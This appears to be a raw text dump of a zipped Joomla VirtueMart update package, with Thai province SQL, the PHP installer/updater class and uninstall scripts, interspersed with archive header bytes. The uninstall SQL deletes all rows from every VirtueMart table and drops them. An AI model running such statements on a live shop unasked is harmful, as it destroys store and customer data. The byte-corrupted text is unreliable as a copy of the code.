Khemakorn Chaiyapruck from Thailand INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `state_name`, `state_3_code`, `state_2_code`, `published`) VALUES (653, 1, 209, 'กระบี่', 'กบ', 'กบ', 1), (654, 1, 209, 'กรุงเทพมหานคร', 'กทม', 'กท', 1), (655, 1, 209, 'กาญจนบุรี', 'กจ', 'กจ', 1), (656, 1, 209, 'กาฬสินธุ์', 'กส', 'กส', 1), (657, 1, 209, 'กำแพงเพชร', 'กพ', 'กพ', 1), (658, 1, 209, 'ขอนแก่น', 'ขก', 'ขก', 1), (659, 1, 209, 'จันทบุรี ', 'จบ', 'จบ', 1), (660, 1, 209, 'ฉะเชิงเทรา', 'ฉช', 'ฉช', 1), (661, 1, 209, 'ชลบุรี ', 'ชบ', 'ชบ', 1), (662, 1, 209, 'ชัยนาท', 'ชน', 'ชน', 1), (663, 1, 209, 'ชัยภูมิ', 'ชย', 'ชย', 1), (664, 1, 209, 'ชุมพร', 'ชพ', 'ชพ', 1), (665, 1, 209, 'เชียงราย', 'ชร', 'ชร', 1), (666, 1, 209, 'เชียงใหม่', 'ชม', 'ชม', 1), (667, 1, 209, 'ตรัง', 'ตง', 'ตง', 1), (668, 1, 209, 'ตราด', 'ตร', 'ตร', 1), (669, 1, 209, 'ตาก', 'ตก', 'ตก', 1), (670, 1, 209, 'นครนายก', 'นย', 'นย', 1), (671, 1, 209, 'นครปฐม', 'นฐ', 'นฐ', 1), (672, 1, 209, 'นครพนม', 'นพ', 'นพ', 1), (673, 1, 209, 'นครราชสีมา', 'นม', 'นม', 1), (674, 1, 209, 'นครศรีธรรมราช', 'นศ', 'นศ', 1), (675, 1, 209, 'นครสวรรค์', 'นว', 'นว', 1), (676, 1, 209, 'นนทบุรี ', 'นบ', 'นบ', 1), (677, 1, 209, 'นราธิวาส', 'นธ', 'นธ', 1), (678, 1, 209, 'น่าน', 'นน', 'นน', 1), (679, 1, 209, 'บุรีรัมย์', 'บร', 'บร', 1), (680, 1, 209, 'บึงกาฬ', 'บก', 'บก', 1), (681, 1, 209, 'ปทุมธานี', 'ปท', 'ปท', 1), (682, 1, 209, 'ประจวบคีรีขันธ์', 'ปข', 'ปข', 1), (683, 1, 209, 'ปราจีนบุรี', 'ปจ', 'ปจ', 1), (684, 1, 209, 'ปัตตานี', 'ปน', 'ปน', 1), (685, 1, 209, 'พระนครศรีอยุธยา', 'อย', 'อย', 1), (686, 1, 209, 'พังงา ', 'พง', 'พง', 1), (687, 1, 209, 'พัทลุง', 'พท', 'พท', 1), (688, 1, 209, 'พิจิตร', 'พจ', 'พจ', 1), (689, 1, 209, 'พิษณุโลก', 'พล', 'พล', 1), (690, 1, 209, 'เพชรบุรี', 'พบ', 'พบ', 1), (691, 1, 209, 'เพชรบูรณ์ ', 'พช', 'พช', 1), (692, 1, 209, 'แพร่ ', 'พร', 'พร', 1), (693, 1, 209, 'พะเยา', 'พย', 'พย', 1), (694, 1, 209, 'ภูเก็ต', 'ภก', 'ภก', 1), (695, 1, 209, 'มหาสารคาม', 'มค', 'มค', 1), (696, 1, 209, 'แม่ฮ่องสอน', 'มส', 'มส', 1), (697, 1, 209, 'มุกดาหาร', 'มห', 'มห', 1), (698, 1, 209, 'ยะลา', 'ยล', 'ยล', 1), (699, 1, 209, 'ยโสธร', 'ยส', 'ยส', 1), (700, 1, 209, 'ร้อยเอ็ด', 'รอ', 'รอ', 1), (701, 1, 209, 'ระนอง', 'รน', 'รน', 1), (702, 1, 209, 'ระยอง', 'รย', 'รย', 1), (703, 1, 209, 'ราชบุรี', 'รบ', 'รบ', 1), (704, 1, 209, 'ลพบุรี', 'ลบ', 'ลบ', 1), (705, 1, 209, 'ลำปาง', 'ลป', 'ลป', 1), (706, 1, 209, 'ลำพูน', 'ลพ', 'ลพ', 1), (707, 1, 209, 'เลย', 'ลย', 'ลย', 1), (708, 1, 209, 'ศรีสะเกษ', 'ศก', 'ศก', 1), (709, 1, 209, 'สกลนคร', 'สน', 'สน', 1), (710, 1, 209, 'สงขลา', 'สข', 'สข', 1), (711, 1, 209, 'สตูล', 'สต', 'สต', 1), (712, 1, 209, 'สมุทรปราการ', 'สป', 'สป', 1), (713, 1, 209, 'สมุทรสงคราม', 'สส', 'สส', 1), (714, 1, 209, 'สมุทรสาคร', 'สค', 'สค', 1), (715, 1, 209, 'สระบุรี', 'สบ', 'สบ', 1), (716, 1, 209, 'สระแก้ว', 'สก', 'สก', 1), (717, 1, 209, 'สิงห์บุรี ', 'สห', 'สห', 1), (718, 1, 209, 'สุโขทัย', 'สท', 'สท', 1), (719, 1, 209, 'สุพรรณบุรี', 'สพ', 'สพ', 1), (720, 1, 209, 'สุราษฎร์ธานี', 'สฎ', 'สฎ', 1), (721, 1, 209, 'สุรินทร์', 'สร', 'สร', 1), (722, 1, 209, 'หนองคาย', 'นค', 'นค', 1), (723, 1, 209, 'หนองบัวลำภู', 'นภ', 'นภ', 1), (724, 1, 209, 'อ่างทอง', 'อท', 'อท', 1), (725, 1, 209, 'อุดรธานี', 'อด', 'อด', 1), (726, 1, 209, 'อุตรดิตถ์', 'อต', 'อต', 1), (727, 1, 209, 'อุทัยธานี', 'อน', 'อน', 1), (728, 1, 209, 'อุบลราชธานี', 'อบ', 'อบ', 1), (729, 1, 209, 'อำนาจเจริญ', 'อจ', 'อจ', 1); PKtl>\3bb3com_virtuemart_update/install/script.virtuemart.phpnuW+Apath = JInstaller::getInstance()->getPath('extension_administrator'); if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } require_once($this->path.DS.'helpers'.DS.'config.php'); JTable::addIncludePath($this->path.DS.'tables'); JModel::addIncludePath($this->path.DS.'models'); } public function checkIfUpdate(){ $update = false; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SHOW TABLES LIKE "%virtuemart_adminmenuentries%"'; //=>jos_virtuemart_shipment_plg_weight_countries $this->_db->setQuery($q); if($this->_db->loadResult()){ $q = "SELECT count(id) AS idCount FROM `#__virtuemart_adminmenuentries`"; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if (empty($result)) { $update = false; } else { $update = true; } } else { $update = false; } $this->update = $update; return $update; } /** * Pre-process method (e.g. install/upgrade) and any header HTML * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent * @return boolean True if VM exists, null otherwise */ public function preflight ($type, $parent=null) { //We want disable the redirect in the installation process if(version_compare(JVERSION,'1.6.0','ge')) { $q = 'DELETE FROM `#__menu` WHERE `menutype` = "main" AND (`link`="index.php?option=com_virtuemart" OR `alias`="virtuemart" )'; $this->_db = JFactory::getDbo(); $this->_db -> setQuery($q); $this->_db -> query(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ $app = JFactory::getApplication(); $app ->enqueueMessage('Error deleting old vm admin menu (BE) '.$error); } } } /** * Install script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function install ($loadVm = true) { if($loadVm) $this->loadVm(); if($this->checkIfUpdate()){ return $this->update($loadVm); } $_REQUEST['install'] = 1; $this -> joomlaSessionDBToMediumText(); // install essential and required data // should this be covered in install.sql (or 1.6's JInstaller::parseSchemaUpdates)? // if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'updatesMigration.php'); $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); $model = JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_essential_data.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_required_data.sql',$lang); //$id = $model->determineStoreOwner(); $model->setStoreOwner(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; // if(version_compare(JVERSION,'1.6.0','ge')) { $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'shipment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'payment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'invoices'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'typeless'); $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->displayFinished(false); //include($this->path.DS.'install'.DS.'install.virtuemart.html.php'); // perhaps a redirect to updatesMigration here rather than the html file? // $parent->getParent()->setRedirectURL('index.php?option=com_virtuemart&view=updatesMigration'); return true; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder($path){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if(JFolder::create($path)) { if(!JFile::exists($path .DS. 'index.html')){ JFile::copy(JPATH_ROOT.DS.'components'.DS.'index.html', $path .DS. 'index.html'); } return true; } return false; } /** * Update script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function update ($loadVm = true) { if($loadVm) $this->loadVm(); if(!$this->checkIfUpdate()){ return $this->install($loadVm); } //Delete Cache $cache = JFactory::getCache(); $cache->clean(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); if(empty($this->path)) $this->path = JPATH_VM_ADMINISTRATOR; $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'updatesmigration.php'); $model = new VirtueMartModelUpdatesMigration(); //JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $this -> joomlaSessionDBToMediumText(); $this->alterTable('#__virtuemart_product_prices', array( 'product_price_vdate' => '`product_price_publish_up` DATETIME NULL DEFAULT NULL AFTER `product_currency`', 'product_price_edate' => '`product_price_publish_down` DATETIME NULL DEFAULT NULL AFTER `product_price_publish_up`' )); $this->alterTable('#__virtuemart_medias', array( 'file_url' => '`file_url` varchar(900) NOT NULL DEFAULT ""', 'file_params' => '`file_params` varchar(17500)', 'file_url_thumb' => '`file_url_thumb` varchar(900) NOT NULL DEFAULT ""', ) ); $this->deleteReCreatePrimaryKey('#__virtuemart_userinfos','virtuemart_userinfo_id'); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->updateMyVmTables(); $result = $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->adjustDefaultOrderStates(); $this->fixOrdersVendorId(); $this->updateAdminMenuEntries(); $this->fixConfigValues(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; if(JFolder::exists($src)){ $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); } if($loadVm) $this->displayFinished(true); return true; } private function fixConfigValues(){ if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); $data = array(); $list_limit = VmConfig::get('list_limit',0); if(!empty($list_limit)){ $data['llimit_init_BE'] = $list_limit; $data['llimit_init_FE'] = $list_limit; } $pagseq = VmConfig::get('pagination_sequence',0); if(!empty($pagseq)){ $data['pagseq'] = $pagseq; $data['pagseq_1'] = $pagseq; $data['pagseq_2'] = $pagseq; $data['pagseq_3'] = $pagseq; $data['pagseq_4'] = $pagseq; $data['pagseq_5'] = $pagseq; } $configModel = VmModel::getModel('config'); $configModel->store($data); } private function fixOrdersVendorId(){ $multix = Vmconfig::get('multix','none'); if( $multix == 'none'){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $q = 'SELECT `virtuemart_user_id` FROM #__virtuemart_orders WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if($res){ //vmdebug('fixOrdersVendorId ',$res); $q = 'UPDATE #__virtuemart_orders SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update orders '.$err); } $q = 'UPDATE #__virtuemart_order_items SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update order_item '.$err); } } } } private function adjustDefaultOrderStates(){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $order_stock_handles = array('P'=>'R', 'C'=>'R', 'X'=>'A', 'R'=>'A', 'S'=>'O'); foreach($order_stock_handles as $k=>$v){ $q = 'SELECT `order_stock_handle` FROM `#__virtuemart_orderstates`'; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(empty($res) and empty($err) ){ $q = 'UPDATE `#__virtuemart_orderstates` SET `order_stock_handle`="'.$v.'" WHERE `order_status_code`="'.$k.'" ;'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } } private function updateAdminMenuEntries() { if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `#__virtuemart_adminmenuentries` WHERE `view` = "log" '; $this->_db->setQuery($query); $result = $this->_db->loadResult(); if(empty($result) || !$result ){ // get the module id of the migration $query = 'SELECT module_id FROM `#__virtuemart_adminmenuentries` WHERE `view` = "updatesmigration" '; $this->_db->setQuery($query); $module_id = $this->_db->loadResult(); if( $module_id){ $q = "INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null, ".$module_id.", 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', '')"; $this->_db->setQuery($q); $this->_db->query(); $app = JFactory::getApplication(); $app->enqueueMessage('Added Log Menu entry ' ); } } } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ private function alterTable($tablename,$fields,$command='CHANGE'){ $ok = true; if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SHOW COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); foreach($fields as $fieldname => $alterCommand){ if(in_array($fieldname,$columns)){ $query = 'ALTER TABLE `'.$tablename.'` '.$command.' COLUMN `'.$fieldname.'` '.$alterCommand; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } return $ok; } /** * * @author Max Milbers * @param unknown_type $table * @param unknown_type $field * @param unknown_type $action * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable($table,$field,$fieldType){ $query = 'SHOW COLUMNS FROM `'.$table.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); if(!in_array($field,$columns)){ $query = 'ALTER TABLE `'.$table.'` ADD '.$field.' '.$fieldType; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install checkAddFieldToTable '.$this->_db->getErrorMsg() ); return false; } else { vmdebug('checkAddFieldToTable added '.$field); return true; } } return false; } private function addToRequired($table,$fieldname,$fieldvalue,$insert){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `'.$table.'` WHERE '.$fieldname.' = "'.$fieldvalue.'" '; $this->db->setQuery($query); $result = $this->db->loadResult(); if(empty($result) || !$result ){ $this->db->setQuery($insert); if(!$this->db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Install addToRequired '.$this->db->getErrorMsg() ); } } } private function deleteReCreatePrimaryKey($tablename,$fieldname){ //Does not work, the keys must be regenerated // $query = 'ALTER TABLE `#__virtuemart_userinfos` CHANGE COLUMN `virtuemart_userinfo_id` `virtuemart_userinfo_id` INT(1) NOT NULL AUTO_INCREMENT FIRST'; // $this->_db->setQuery($query); // if(!$this->_db->query()){ // } else { // $query = 'ALTER TABLE `#__virtuemart_userinfos` AUTO_INCREMENT = 1'; // $this->_db->setQuery($query); // } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $fullColumns = $this->_db->loadObjectList(); $force = false; if($force or $fullColumns[0]->Field==$fieldname and strpos($fullColumns[0]->Type,'char')!==false){ vmdebug('Old key found, recreate'); // Yes, I know, it looks senselesss to create a field without autoincrement, to add a key and then the autoincrement and then they key again. // But seems the only method to drop and recreate primary, which has already data in it //First drop it $fields = array($fieldname => ''); if($this->alterTable($tablename,$fields,'DROP')){ //Now make the field, nothing must be entered $added = $this->checkAddFieldToTable($tablename,$fieldname,"INT(1) UNSIGNED NOT NULL FIRST"); if($added){ //Yes it should be primary, ohh it gets sorted, great $q = 'ALTER TABLE `'.$tablename.'` ADD KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey add KEY '.$this->_db->getErrorMsg() ); } //ahh, now we can make it auto_increment $fields = array($fieldname => '`'.$fieldname.'` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT FIRST'); $this->alterTable($tablename,$fields); //Great, now it actually takes the attribute being a primary $q = 'ALTER TABLE `'.$tablename.'` ADD PRIMARY KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } else { $q = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$fieldname.'`'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } } } } } } /** * Checks if both types of default shoppergroups are set * @author Max Milbers */ private function checkAddDefaultShoppergroups(){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "1" '; $this->_db = JFactory::getDbo(); $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-default-', 'This is the default shopper group.', 1, 1);"; $this->_db->setQuery($q); $this->_db->query(); } $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "2" '; $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-anonymous-', 'Shopper group for anonymous shoppers', 2, 1);"; $this->_db->setQuery($q); $this->_db->query(); } } private function changeShoppergroupDataSetAnonShopperToOne(){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE virtuemart_shoppergroup_id = "1" '; $this->_db->setQuery($q); $sgroup = $this->_db->loadAssoc(); if($sgroup['default']!=2){ if(!class_exists('TableShoppergroups')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'shoppergroups.php'); $table = new TableShoppergroups($this->_db); $stdgroup = null; $stdgroup = array('virtuemart_shoppergroup_id' => 1, 'virtuemart_vendor_id' => 1, 'shopper_group_name' => '-anonymous-', 'shopper_group_desc' => 'Shopper group for anonymous shoppers', 'default' => 2, 'published' => 1, 'shared' => 1 ); $table -> bindChecknStore($stdgroup); $sgroup['virtuemart_shoppergroup_id'] = 0; $table = new TableShoppergroups($this->_db); $table -> bindChecknStore($sgroup); vmdebug('changeShoppergroupDataSetAnonShopperToOne $table',$table); } } private function joomlaSessionDBToMediumText(){ if(version_compare(JVERSION,'1.6.0','ge')) { $fields = array('data'=>'`data` mediumtext NULL AFTER `time`'); $this->alterTable('#__session',$fields); } } /** * Uninstall script * Triggers before database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function uninstall ($parent=null) { if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } //$this->loadVm(); include($this->path.DS.'install'.DS.'uninstall.virtuemart.html.php'); return true; } /** * Post-process method (e.g. footer HTML, redirect, etc) * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent */ public function postflight ($type, $parent=null) { //We want disable the redirect in the installation process if ($type != 'uninstall') { $this->loadVm(); // VmConfig::loadConfig(true); //if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); //if($res){ JRequest::setVar(JUtility::getToken(), '1', 'post'); $config = JModel::getInstance('config', 'VirtueMartModel'); $config->setDangerousToolsOff(); //} } $_REQUEST['install'] = 0; //Test if vm1.1 is installed and rename file to avoid conflicts if(JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'toolbar.php')){ JFile::move('toolbar.php','toolbar.vm1.php',JPATH_VM_ADMINISTRATOR); } //Prevents overwriting existing file. // if(!JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg')){ // JFile::copy('virtuemart_defaults.cfg-dist','virtuemart_defaults.cfg',JPATH_VM_ADMINISTRATOR); // } return true; } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy($src,$dst ) { $dir = opendir($src); $this->createIndexFolder($dst); if(is_resource($dir)){ while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src .DS. $file) ) { $this->recurse_copy($src .DS. $file,$dst .DS. $file); } else { if(JFile::exists($dst .DS. $file)){ if(!JFile::delete($dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt delete '.$dst .DS. $file); } } if(!JFile::move($src .DS. $file,$dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt move '.$src .DS. $file.' to '.$dst .DS. $file); } } } } closedir($dir); if (is_dir($src)) JFolder::delete($src); } else { $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt read dir '.$dir.' source '.$src); } } /** * The param update IS used in the layout, do not remove * @param $update */ public function displayFinished($update){ include(JPATH_VM_ADMINISTRATOR.'/views/updatesmigration/tmpl/insfinished.php'); } } /** * Legacy j1.5 function to use the 1.6 class install/update * * @return boolean True on success * @deprecated */ function com_install() { $vmInstall = new com_virtuemartInstallerScript(); $upgrade = $vmInstall->checkIfUpdate(); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { // Joomla! 1.5 code here $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); } /* if ((JVM_VERSION===1)) { $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); }*/ return true; } /** * Legacy j1.5 function to use the 1.6 class uninstall * * @return boolean True on success * @deprecated */ function com_uninstall() { $vmInstall = new com_virtuemartInstallerScript(); // $vmInstall->preflight('uninstall'); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); } /* if (JVM_VERSION===1) { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); }*/ return true; } } // if(defined) // pure php no tag PKtl>\M0com_virtuemart_update/install/uninstall_data.sqlnuW+A-- Remove all virtuemart data DELETE FROM `#__virtuemart_calcs`; DELETE FROM `#__virtuemart_calc_categories`; DELETE FROM `#__virtuemart_calc_shoppergroups`; DELETE FROM `#__virtuemart_calc_countries`; DELETE FROM `#__virtuemart_calc_states`; DELETE FROM `#__virtuemart_categories`; DELETE FROM `#__virtuemart_category_categories`; DELETE FROM `#__virtuemart_category_medias`; DELETE FROM `#__virtuemart_coupons`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_customs`; DELETE FROM `#__virtuemart_manufacturers`; DELETE FROM `#__virtuemart_manufacturercategories`; DELETE FROM `#__virtuemart_manufacturer_medias`; DELETE FROM `#__virtuemart_medias`; DELETE FROM `#__virtuemart_migration_oldtonew_ids`; DELETE FROM `#__virtuemart_orders`; DELETE FROM `#__virtuemart_order_histories`; DELETE FROM `#__virtuemart_order_items`; DELETE FROM `#__virtuemart_order_userinfos`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_paymentmethod_shoppergroups`; DELETE FROM `#__virtuemart_products`; DELETE FROM `#__virtuemart_product_categories`; DELETE FROM `#__virtuemart_product_customfields`; DELETE FROM `#__virtuemart_product_downloads`; DELETE FROM `#__virtuemart_product_manufacturers`; DELETE FROM `#__virtuemart_product_medias`; DELETE FROM `#__virtuemart_product_prices`; DELETE FROM `#__virtuemart_ratings`; DELETE FROM `#__virtuemart_rating_reviews`; DELETE FROM `#__virtuemart_rating_votes`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_states`; DELETE FROM `#__virtuemart_userinfos`; DELETE FROM `#__virtuemart_userfield_values`; DELETE FROM `#__virtuemart_vendors`; DELETE FROM `#__virtuemart_vendor_medias`; DELETE FROM `#__virtuemart_vmusers`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_waitingusers`; DELETE FROM `#__virtuemart_worldzones`;PKtl>\ޛ%**+com_virtuemart_update/install/uninstall.sqlnuW+ADROP TABLE `#__virtuemart_permgroups`, `#__virtuemart_categories`, `#__virtuemart_category_categories`, `#__virtuemart_countries`, `#__virtuemart_coupons`, `#__virtuemart_currencies`, `#__virtuemart_customs`, `#__virtuemart_customplugins`, `#__virtuemart_manufacturers`, `#__virtuemart_manufacturercategories`, `#__virtuemart_adminmenuentries`, `#__virtuemart_modules`, `#__virtuemart_orders`, `#__virtuemart_order_histories`, `#__virtuemart_order_items`, `#__virtuemart_orderstates`, `#__virtuemart_order_userinfos`, `#__virtuemart_paymentmethods`, `#__virtuemart_products`, `#__virtuemart_product_categories`, `#__virtuemart_product_customfields`, `#__virtuemart_product_downloads`, `#__virtuemart_medias`, `#__virtuemart_product_manufacturers`, `#__virtuemart_product_prices`, `#__virtuemart_product_producttypes`, `#__virtuemart_product_relations`, `#__virtuemart_rating_reviews`, `#__virtuemart_producttypes`, `#__virtuemart_producttype_customfields`, `#__virtuemart_shipmentmethods`, `#__virtuemart_shoppergroups`, `#__virtuemart_states`, `#__virtuemart_userfields`, `#__virtuemart_userfield_values`, `#__virtuemart_vmusers`, `#__virtuemart_userinfos`, `#__virtuemart_vmuser_shoppergroups`, `#__virtuemart_vendors`, `#__virtuemart_waitingusers`, `#__virtuemart_worldzones`;PKtl>\(com_virtuemart_update/install/index.htmlnuW+APKtl>\)'com_virtuemart_update/install/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ZdZ Z 5com_virtuemart_update/install/install_sample_data.sqlnuW+AINSERT IGNORE INTO `#__virtuemart_calcs` (`virtuemart_calc_id`, `virtuemart_vendor_id`, `calc_jplugin_id`, `calc_name`, `calc_descr`, `calc_kind`, `calc_value_mathop`, `calc_value`, `calc_currency`, `calc_shopper_published`, `calc_vendor_published`, `for_override`, `calc_params`, `ordering`, `shared`, `published`) VALUES (1, 1, 0, 'Tax 20%', '', 'VatTax', '+%', 20.0000, 47, 0, 0, 0, '', 0, 0, 1), (2, 1, 0, 'Discount 5%', '', 'DATax', '-%', 5.0000, 47, 0, 0, 0, '', 0, 0, 1), (3, 1, 0, 'Special tax for category pagination 10%, an example for rule per category to show multitax store function', '', 